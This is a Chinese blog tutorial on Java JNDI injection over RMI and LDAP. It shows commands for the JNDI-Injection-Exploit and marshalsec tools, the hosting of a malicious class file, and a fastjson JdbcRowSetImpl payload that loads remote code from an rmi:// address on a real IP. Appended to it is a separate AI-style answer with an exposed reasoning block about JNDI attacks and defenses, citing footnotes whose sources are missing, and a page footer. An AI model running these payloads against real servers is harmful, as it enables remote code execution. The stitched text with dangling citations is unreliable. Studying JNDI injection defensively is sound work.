Java安全—JNDI注入&RMI服务&LDAP服务&JDK绕过

前言

上次讲到JNDI注入这个玩意,但是没有细讲,现在就给它详细地讲个明白。

JNDI注入

那什么是JNDI注入呢,JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源,NDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议

我说白了JNDI其实就是一个接口,可以通过这个接口去调用一些远程服务。

先新建一个项目叫JNDI-demo。

JavaEE建议选择8。

接着新建一个类叫JNDIdemo。

写入以下的代码,当Java想要远程调用一个对象的时候,可以用javax.naming.InitialContext这个类的lookup方法来调用,这个调用支持Rmi和Ldap协议。

package com.sf.maven.jndidemo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIdemo {
    public static void main(String[] args) throws NamingException {
        //创建rmi、ldap服务
        InitialContext ic = new InitialContext();
        //调用服务
        ic.lookup("");
    }
}

JNDI-Injection-Exploit

我们先创建一个rmi服务,还是利用JNDI-Injection-Exploit这个工具,命令就是弹出一个计算机。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.xxx.xxx。xxx

代码填入我们的链接,直接运行代码可以看到弹出计算机。

marshalsec-0.0.3-SNAPSHOT

就相当于我本地电脑通过rmi去请求一个远程的class文件,并且执行里面的代码。如果我们换一个工具来搞的话效果会更直观,我们先新建一个名为Test的Java文件。

写入以下的代码,就是一个命令执行,弹出计算机。

来到Test的目录下面,把它编译成.class文件。

javac .\Test.java

把这个class文件放到web目录上面,或者你开个临时http服务也行。

python -m http.server 8080

现在利用marshalsec-0.0.3-SNAPSHOT-all.jar这个工具来生成调用链接,这个就没有JNDI-Injection-Exploit那么方便,要像上面那样自己编写class文件,不会根据命令给你自动生成。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test      //启动LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test      //启动RMI服务

可以看到会生成一个端口连接。

使用远程调用。

lookup(“ldap://xx.xx.xx.xx:1389/Test”)

lookup(“rmi://xx.xx.xx.xx:1099/Test”)

妈的不知道为啥一直弹不了计算机出来,但是RMI服务和http服务是显示有连接的,你妹的。

而且我java版本都是在1.8.0_112的啊。

崩溃啦,有无了解的师傅可以指点一二。

哎,接着我们来看看不同版本JDK或者不同的工具,是否都能调用JDK和RMI,过程就是不断换JDK版本去测试就行了,具体我就不演示了,直接给给过吧。

PS:8U112相当于1.8.0_112,其它的也是同理。

RMI marshalsec工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

RMI jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

LDAP  - marshalsec工具
JDK 17
11版本
8u362
8U112 都可以

LDAP  - jndi-inject工具
DK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以

这里网上搞的包浆图,可以看到不同的java版本所能调用的协议也是不同的。

或者你用其它的类也能达到JNDI注入。

黑盒测试

那我们怎样去知道有无JNDI注入这个漏洞呢,我们可以通过发送错误数据去判断,这里发送个错误的json数据,然后报错中返回了fastjson,说明可能存在JNDI注入,然后利用DNSlog验证一下即可。

POC编写

假如我们知道有fastjson这个漏洞,该如何编写poc呢,上次我们演示fastjson的时候是自己写一个类com.wlwznb.user。

但是实战中我们不可能自己去写一个,得用java自带的,所以我们要指定com.sun.rowset.JdbcRowSetImpl这个类,但是上面我们说是通过javax.naming.InitialContext.lookup()这个方法来实现远程调用的,那为啥不指定这个。

其实是com.sun.rowset.JdbcRowSetImpl这个类里面自带了InitialContext.lookup()方法,由上面图片可见。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/wktunx","autoCommit":true}

总结

说实话JNDI对于不熟悉java的同学来说还是挺牢的,毕竟涉及了很多java开发的东西。

最后还是要声明一下,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

参考文章:

https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html

https://blog.youkuaiyun.com/wushangyu32335/article/details/136131244

https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/

<think>好的,用户想了解服务器进程加载未知JNDI动态类涉及的安全攻击类型及防护方法。首先,我需要回忆JNDI相关的安全风险,特别是近年来常见的攻击方式,比如Log4j漏洞中的JNDI注入JNDI作为Java命名和目录接口,如果加载了未知的动态类,可能导致远程代码执行,这是非常危险的。 接下来,我需要明确攻击类型。可能的攻击类型包括JNDI注入攻击、远程类加载、LDAP/RMI协议滥用等。比如攻击者通过构造恶意JNDI链接,诱导服务器访问恶意的LDAP服务器,从而加载并执行恶意类。 然后是防御措施,这部分需要结合现有的安全建议。比如限制JNDI的协议使用,禁止远程代码加载,升级JDK版本,因为高版本JDK默认限制了远程类加载。同时,使用安全管理器,配置白名单,以及对日志中的异常JNDI请求进行监控。 还要考虑引用用户提供的资料,里面提到了反序列化漏洞的防护,比如使用安全的库如Jackson和Gson,这可能JNDI攻击的防护有部分重叠,但需要明确区分。另外,检查系统进程和网络流量也是排查方法之一,可以引用这些作为防御措施的一部分。 需要确保回答结构清晰,分点列出攻击类型和对应的防护方法。同时,用户可能需要具体的示例或配置建议,比如如何配置JVM参数来禁用远程类加载,或者如何在代码中限制JNDI的查找来源。 最后,生成相关问题时要围绕JNDI攻击的扩展,比如具体案例、排查步骤、其他漏洞的关系等,帮助用户深入理解。</think>### 服务器进程加载未知JNDI动态类的安全风险防御措施 #### 一、安全攻击类型 1. **JNDI注入攻击** 攻击者通过构造恶意字符串(如$\text{ldap://attacker.com/Exploit}$)注入JNDI查找接口中,诱导服务器访问恶意目录服务并加载远程类,触发远程代码执行(RCE)[^1][^3]。例如Log4j漏洞(CVE-2021-44228)即利用此机制。 2. **远程类加载漏洞** 当JNDI客户端未验证来源时,可能从不受信任的LDAP/RMI服务器动态加载恶意类文件(如$\text{Exploit.class}$),导致攻击者通过类初始化方法执行任意命令[^1]。 3. **协议滥用攻击** 利用JNDI支持的RMILDAP、CORBA等协议进行中间人攻击或协议漏洞利用,例如通过RMI绑定恶意对象实现反序列化攻击[^2][^3]。 #### 二、防御措施 1. **环境配置加固** - **禁用高危协议**:在JVM启动参数中添加$\text{-Dcom.sun.jndi.ldap.object.trustURLCodebase=false}$,禁止从远程URL加载类文件 - **升级JDK版本**:JDK 6u211/7u201/8u191及以上版本默认禁用LDAP远程类加载 - **限制JNDI查找范围**:通过安全策略文件限制代码库路径,如$\text{java.security.policy}$ 2. **代码层防护** ```java // 使用白名单机制验证JNDI名称 if (!name.startsWith("java:/comp/env")) { throw new InvalidJndiNameException(); } ``` - 替换危险API:避免直接使用$\text{InitialContext.lookup()}$处理外部输入 - 启用安全管理器:配置$\text{java.policy}$文件限制敏感操作权限[^2] 3. **运行时监控** - 使用Wireshark监控LDAP/RMI协议流量,检测异常JNDI请求(如包含$\text{\$}\{\text{jndi:}\}$格式的日志条目) - 定期检查服务器进程加载的类文件,使用工具(如Arthas)分析JVM类加载情况 4. **依赖库管理** - 升级Log4j至2.17.0+、Fastjson至1.2.83+等修复已知漏洞的版本 - 使用安全序列化库(如Jackson)替代Java原生序列化 #### 三、应急响应流程 1. 立即隔离受攻击服务器 2. 使用内存分析工具(MAT)检查JVM中可疑的类实例 3. 检索日志中$\text{jndi:ldap}$等关键词,定位攻击入口 4. 更新所有涉及JNDI的组件补丁
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值